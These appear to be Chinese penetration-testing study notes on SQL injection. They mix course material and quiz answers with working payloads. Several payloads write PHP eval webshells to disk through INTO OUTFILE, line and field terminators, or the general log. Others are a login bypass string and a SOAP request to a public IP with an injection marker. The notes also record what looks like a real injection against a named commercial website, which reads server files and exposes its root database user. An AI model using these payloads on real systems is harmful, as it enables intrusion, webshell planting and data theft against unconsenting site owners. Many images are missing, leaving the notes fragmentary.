渗透测试-注入攻击专题

渗透测试- 注入


POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetRealData>
         <!--Optional:--><tem:cityname>1*</tem:cityname>
         <!--Optional:-->
         <tem:subname>1</tem:subname>
         <!--Optional:-->
         <tem:subid>1</tem:subid>
         <!--Optional:-->
         <tem:wastetype>1</tem:wastetype>
      </tem:GetRealData>
   </soapenv:Body>
</soapenv:Envelope>





https://www.bilibili.com/read/cv6562645/
【sql injection】

https://mp.weixin.qq.com/s/8grPMYzNbwhgRRDcE57U7Q


order by
/**/
boolen等式  能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false


获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

burpsuite的clusterboom模式对database进行爆破


【SQL注入 getshell】

写文件--into outfile

前提:
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限




union select getshell
payload:1' union select 1,'<?php eval("$_POST[2]")?>',3 into outfile 'd:/phpstudy_pro/www/1.php'--+




lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
        
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.





lines starting getshell
lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+ 





fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+ 






COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+ 


getshell-数据表getshell
前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+ 





getshell-日志getshell
7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '<?php eval("$_POST[2]")?>';--+

payload: 


 【waf  绕过】

mysql4.0注入实战

 SELECT user() 
 select database() 
 select version()
 
SELECT * FROM information_schema.SCHEMATA

 select table_name from information_schema.tables where table_schema='db_name' 
 // 当前数据库 db_name  所有表  


 




在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 http://www.cowinbio.com/



属于mysql4.0 注入一个实例

路径:/usr/local/webroot/cw/product/introduction.php

mywebmanage/conn.php

http://www.cowinbio.com/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2

http://www.cowinbio.com/product/introduction.php?id=65%20order%20by%202

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2

version():4.1.22-standard
user():root@localhost
database():cw

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2 

load_file()

sqlmap -u url注入地址 --sql-shell 执行sql命令




mysql5.0  

into outfile 
information

代码审计——sql注入漏洞常规挖掘分析/实战

在这里插入图片描述

- 挖掘方法

在这里插入图片描述- 数据库操作性 函数 写到配置环境 (暂时忽略)


在这里插入图片描述


PHP mysql_real_escape_string() 函数

  • 转义 SQL 语句中使用的字符串中的特殊字符
  • 下列字符受影响:

\x00
\n
\r
\

"
\x1a

  • 如果成功,则该函数返回被转义的字符串。
    如果失败,则返回 false。
    在这里插入图片描述

PHP addslashes() 函数

  • ——返回在 预定义字符 之前 添加反斜杠 的 字符串。
  • 预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:
可用于 为存储 在 数据库 中的 字符串以及数据库查询语句 准备字符串。

注释:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。 在这里插入图片描述


PHP htmlentities() 函数

  • ——把字符转换为 HTML 实体。
    提示:
    要把 HTML 实体转换回字符,请使用 html_entity_decode() 函数。
    请使用 get_html_translation_table() 函数 来返回 htmlentities() 使用的翻译表。在这里插入图片描述在这里插入图片描述在这里插入图片描述

PHP htmlspecialchars() 函数

  • ——把一些预定义的字符转换为 HTML 实体
预定义的字符是:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述


PHP strip_tags() 函数

  • ——剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。

在这里插入图片描述
在这里插入图片描述


PHP md5() 函数

  • ——md5() 函数计算字符串的 MD5 散列。

  • ——md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。

在这里插入图片描述 在这里插入图片描述


PHP sha1() 函数

  • ——sha1() 函数计算字符串的 SHA-1 散列。

  • ——sha1() 函数使用美国 Secure Hash 算法 1

在这里插入图片描述 在这里插入图片描述

PHP intval() 函数

  • ——函数用于获取变量的整数值。

  • ——通过使用指定的进制 base 转换(默认是十进制)
    返回变量 var 的 integer 数值。

  • —— intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

在这里插入图片描述 在这里插入图片描述

# 适用人群

  • 安全开发
  • 程序员
  • 渗透测试人员
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • id=1 写死
  • 可操控 $_POST 接收
    在这里插入图片描述
  • 安全函数 查看是否严谨
  • 注入 是否进行限制
  • 来判断 sql注入漏洞 在这个地方 是否存在

# 数据库监控

  • 监控插件 监控sql操作语句词型
  • 访问 网站特殊地址 查看数据库操作语句 执行在 哪个地方
  • 追寻代码 文件地址
  • 跟踪 代码是否可控 绕过
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 分析 哪个语句 跟当前 访问页面 参数相关
  • 尝试 更改参数 追加确认

在这里插入图片描述

  • 作为全局搜索在这里插入图片描述
  • 如果不确定 就打开一个 注释下
    在这里插入图片描述
  • 更改参数 查看页面状态

在这里插入图片描述

  • 语句注释 后 页面报错
  • 确认是 当前页面 代码文件

在这里插入图片描述

  • 注意传值方法
  • 追踪该方法有没有相关 绕过 过滤 条件
  • 若没有 可能存在注入点

#实战挖掘#

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 变量全局 搜索在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 访问相关文件在这里插入图片描述在这里插入图片描述
  • 传入 验证绕过 所需 参数
  • 并且开启 数据库监控
  • 补足 验证条件
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 构造 ?id=1 order = 1 &u …

在这里插入图片描述

  • %23 -----> #
    在这里插入图片描述

  • 盲注测试

在这里插入图片描述在这里插入图片描述

  • 构造 ?id=1 union select 1,2,3 &u …在这里插入图片描述
  • 页面 注入 测试
    在这里插入图片描述
  • 联合注入 失败
  • 测试盲注

在这里插入图片描述在这里插入图片描述

  • 0.5 ---->延时2s

  • 一般延时注入 要比 联合注入 通用性好

# 总结

  • 访问敏感页面

  • 监控数据库

  • 查找执行出处函数 方法

  • 监控 出处 处 变量

  • 追踪变量 是否过滤

  • sql是否存在

  • 关键字搜索 ——任何漏洞挖掘 比较常用

  • 数据库监控—— 类似于 SQL注入这种相应

网络安全高手的进阶蜕变之旅

web安全工程师-01-SQL注入漏洞原理与利用

1.1 Web应用架构分析

1998 年 至今 20多年 了

爆出 sql 注入 导致 大量数据泄露

发现问题 —> 规避 sql注入 带来的 风险
研究 web框架 能 使我们 更熟悉 框架审计 中 注入的 原理
在这里插入图片描述

B/S 架构 开始 的时候 数据库 和网站 在同一台服务器 上

webapp 网站 放在 容器里
容器和数据库 软件 安装在 操作系统里
逻辑对 数据库的操作 来实现 网站功能

在这里插入图片描述
之后 互联网技术 发展
大量数据 大量请求 需要 web应用来处理
在这里插入图片描述
集群效果

在这里插入图片描述
中间件 容器
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

请添加图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述




1.2 SQLi注入环境搭建

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

部分漏洞 需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

工程配置信息 路径等

在这里插入图片描述
部署的代码

在这里插入图片描述
需要的应用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

windows 和 linux 换行符 不一样 导致 记事本不换行

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

不同难度级别

在这里插入图片描述在这里插入图片描述

Linux docker 安装 sqli labs
在这里插入图片描述
docker images

在这里插入图片描述
docker search sqli-labs
在这里插入图片描述
docker pull acgpiano/sqli-labs

在这里插入图片描述
在这里插入图片描述
docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs

后台运行
再命名
本地:docker 端口 —端口映射
创建 清理镜像
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
边看代码 边学习 注入

1.3 SQL注入原理分析

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
注意 返回 长度 select 1,version()
在这里插入图片描述
docker exec -it xxxname /bin/bash
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用1 来 占位

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

# %23 注释符号

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

MySQL注入方法逻辑运算及常用函数

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

~ 0x7e

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

登陆处 注入 构造 万能密码

 'or '1'='1

在这里插入图片描述
在这里插入图片描述

时间延时注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述

updatexml
在这里插入图片描述
xpath格式 在这里插入图片描述在这里插入图片描述
在这里插入图片描述
报错注入

SQL注入流程

在这里插入图片描述
在这里插入图片描述
灵活构造参数 用于 搜索引擎

页面爬取 动态链接 去依次 注入 测试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
这种 更适用于 有 登陆验证授权 或 cookie 的 案例
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

* 用在 漏洞 sql注入 特别了解

在这里插入图片描述
黑盒测试
在这里插入图片描述

白盒测试 寻找 测试点
在这里插入图片描述
在这里插入图片描述
id 参数 存在 sql注入 漏洞

从 sql命令 往上找 反向
GET POST 用户数据 正向

在这里插入图片描述在这里插入图片描述
flask路由 对 用户 输入 地址识别
进入不同方法 进行处理
在这里插入图片描述

直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据
在这里插入图片描述
直接 insert 添加到 数据库中

在这里插入图片描述
密码做了 hash 处理 没法 对 数据库 直接操作

username 做了 正则匹配 也没办法

email 邮箱 注册 验证
在这里插入图片描述
邮箱 没有对 输入内容 进行验证
在这里插入图片描述
在这里插入图片描述
构造 payload
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
Microsoft JET Access 数据库

在这里插入图片描述
mysql 5.x 存在 用数据语句 内置库 表 列 -->查询 关键数据

access 不存在 库信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
sqlserver sa权限 执行系统命令
在这里插入图片描述

mysql 权限 低 不能直接执行系统命令
读文件 配置文件
tomcat 管理员管理密码 部署webshell 变相提权
读取 数据库配置文件 - 账号密码

写文件 --os-shell
php-mysql 写一个 webshell 到 网站目录 执行系统命令 变相提权

SQL手工注入方法

在这里插入图片描述在这里插入图片描述
引擎层
实现 数据 存取
定义 数据 存储 的 格式 方式

sql层
特定的 语法 完成 数据库任务执行
执行结果 处理 返回 可识别信息

连接层
通讯协议 线程 验证

在这里插入图片描述
结构化 查询语句
授权
数据库 定义 控制 操作 查询 语言
解析器
优化器
执行器
引擎层
缓存

了解基础原理

在这里插入图片描述
库 xx小学
表 xx年级xx班
列 序号 学号 姓名 性别
数据 1 x x x

库 功能 操作

mysql 账户信息
sys 元数据信息
performance_schema 性能参数 参数设置 收集
information_schema 访问 元数据

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
十六进制 不需要 单引号 ’ '包裹

1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。
Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述bp 用在 时间 布尔 盲注 比较多

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述进行 简单的 逻辑 判断
在这里插入图片描述在这里插入图片描述联合查询 之前 判断 字段 长度
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
多条数据 group_concat 粘在一起显示

在这里插入图片描述在这里插入图片描述在这里插入图片描述

信息收集

在这里插入图片描述

mysql 提权 不可以直接 执行 系统 命令

通过 读写文件 进行 提权
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述文件 php 格式 在页面 显示不出来 在源码里 可看

读 数据库 配置 密码
系统配置文件
在这里插入图片描述权限文件 系统信息 注意 权限大小

写入 webshell 到 目录 提权

在这里插入图片描述

不能 创建 写文件

权限不够

在这里插入图片描述
实在不行 就 换个不需要文件权限的

权限 可以 就 能写入 目标目录

  • 实验测试——SQL注入漏洞原理及防范-上

漏洞介绍:

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,
    它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,
    我们首先要对他的原理进行了解。
    
    SQL注入(SQLInjection)是这样一种漏洞:
    当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
    如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,
    直接输入数据库引擎执行,获取或修改数据库中的数据。

漏洞危害:

  • 直接就造成数据库中的数据泄露
  • 如果数据库连接用户具备高权限,则可能导致恶意访问者获取服务器控制
  • 众多安全事件的切入点。

实验环境工具介绍:

  • 火狐浏览器

HackBar:
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”,将它添加到火狐浏览器中, 重启后Firefox后安装完成,按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后,打开火狐浏览器,在工具=》附加组件里搜索“HackBar”并安装,如下图:

在这里插入图片描述
安装完后,重启一下火狐浏览器才会生效

在这里插入图片描述

重启完后,打开百度,你会发现标签栏处多了一些工具条,它就是HackBar插件,
首次打开是开启的,可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,
可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。

在这里插入图片描述

  • 实验测试——SQLmap工具的使用-SQLmap初步

实验目的:

  • 学习使用SQLmap进行注入点判断
  • 学习使用SQLmap注入出数据

实验工具:

  • SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本部分学习使用SQLmap进行简单的注入点判断并注入出数据。

第二章:SQL注入语法类型

2.1 union联合查询注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述

insert update 都不可以使用 union
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
orderby 对第几列 进行排序

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

’ 闭合 单引号

–+ 注释掉 后面的 单引号

在这里插入图片描述
union 内部 的 select 语句 必须 有 相同的 列

在这里插入图片描述
在这里插入图片描述
union 把两个 select 结果集 结合到 一块
在这里插入图片描述
二分法 查询列长度

在这里插入图片描述 在这里插入图片描述在这里插入图片描述
select 语句 可以嵌套

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.2 报错注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
进行匹配 波浪号 账号密码
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

构造 非法 xpath 值

在这里插入图片描述

在这里插入图片描述
方便 快速 脚本 正则匹配

在这里插入图片描述在这里插入图片描述在这里插入图片描述注意 报错 返回的 长度 32位

在这里插入图片描述在这里插入图片描述在这里插入图片描述
将数据 截取

在这里插入图片描述dumb

实验地址:实验测试——SQLmap工具的使用-POST注入

实验目的:
学习使用SQLmap工具进行注入POST类型的SQL注入点。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。

实验地址:实验测试——SQLmap工具的使用-cookie注入

实验目的:
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。

检测二

答案:
1、解析: D、首先要构造语句,让正常的数据无法返回,这里选择id=-1,接着要构造显示内容,3,5,8,7,4让这些数字显示在对应位置,这里只要没用相同的数字,我们就能判断出每个数字所代表的唯一位置,从而判断出哪里回显数据。
2、解析: A、通过union select的长度,可以判断出返回数据的列,通过user(),可以直接显示当前数据的用户名,通过(select database())可以查询出当前数据库的库名称并返回。
3、解析: C、updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串。
4、解析: C、报错注入的关键就是要显示错误语句,如果不显示,我们就不能通过报错看到内容。
5、解析: A、只要数据库触发到了报错语句,就会产生报错,并将报错信息显示到页面上。

实验地址:实验测试——SQLmap工具的使用-执行SQL命令

实验目的:

学习通过SQLmap工具执行SQL命令的几种不同的方式。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

学习通过SQLmap工具执行SQL命令的几种不同的方式:

1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句

第三章:SQL 盲注

布尔盲注

在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述单引号 反义 导致 注入失败
转成 数字 比对 避免 单引号 出现

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
猜出 email

更换 别的 表
在这里插入图片描述猜解 ref 不像是 数据

在这里插入图片描述猜解 uag
在这里插入图片描述猜解 user
users 都一样
在这里插入图片描述
a-z 下划线 0-9

在这里插入图片描述在这里插入图片描述在这里插入图片描述判断 列 名

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
改变 limit 值 对 第二列 测试

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述

ASCII 0-127

48 - 0
122 - Z

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

3.2 SQL盲注-时间注入

判断 页面 返回 真与假 识别 数据库 中 的 信息
在这里插入图片描述
通过 返回 时间 的 快慢 来 识别 数据库 中 的 信息

没有 回显 真假
只是 构造语句 分析时长

登录场景

在这里插入图片描述

注入语法

在这里插入图片描述在这里插入图片描述
无论怎样 都是 一个页面

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • if left 时间盲注

在这里插入图片描述在这里插入图片描述

  • 时间盲注 小脚本

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述

3.3 Dnslog盲注

在这里插入图片描述

  • DNS

在这里插入图片描述
服务器上 的应用 对外 开放 服务

公网ip:端口 ----- 对应功能

引入 dns
在这里插入图片描述

  • DNS Server 存储 用户 访问的 域名 信息在这里插入图片描述

在这里插入图片描述
布尔 时间 盲注 猜字游戏
效率比较低 也容易 触发 防护

在这里插入图片描述UA
User-Agent会告诉网站服务器,访问者是通过什么工具来请求的
中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,
User Agent也简称UA。
它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识,
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;

在这里插入图片描述

  • dns log 平台

在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  • dnslog 盲注 目标 一定是 windows操作系统

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • dns 记录 不可以 用 ~ 等 特殊符号

在这里插入图片描述
构造语句

  • 用 哈希 查看完 再 哈希 回来

在这里插入图片描述在这里插入图片描述在这里插入图片描述

工程化 注入
速度快 效率高 人为参与 少
在这里插入图片描述在这里插入图片描述
定义 查询数据 的 语句
数据库
表名
获取数据

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
执行 payload

在这里插入图片描述
对 dnslog 平台的 接口 进行 访问
在这里插入图片描述在这里插入图片描述

入口处 接收 参数

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
识别 随机串
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

答案:
1、解析: B、页面依据提交的数据,返回不同的内容,但是不回直接显示数据库中的信息,此处如果存在SQL注入,必然是盲注
2、解析: B、在所有类型的注入点,都可以使用时间盲注。
3、解析: A、依据题意可知,当前库名称的第一位的ASCII码为115,既s。
4、解析: B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析: A、ABC都是dnslog盲注的特点。

第四章:SQL注入防御绕过

4.1 宽字节注入

常规 + web/mysql/php 一些方法 注入
在这里插入图片描述
在这里插入图片描述
英文 一个字节
中文 两个字节 默认

A-Z 48种

一个字节 8bit位 二进制
01组合种类 255种

一个字节 表示 中文字符 255不够

16bit来表示

在这里插入图片描述

安全编码 特殊符号 转义 防止 恶意注入

在这里插入图片描述

 url编码,网址字符串
 浏览器自动对中文和一些特殊字符转码,形式为:"%二位十六进制数",
 代表一个字节,如果是中文是2个字节,
 就需要两个%。如果没有自动转码,就要自己转,比如js中有escape和encodeURI,
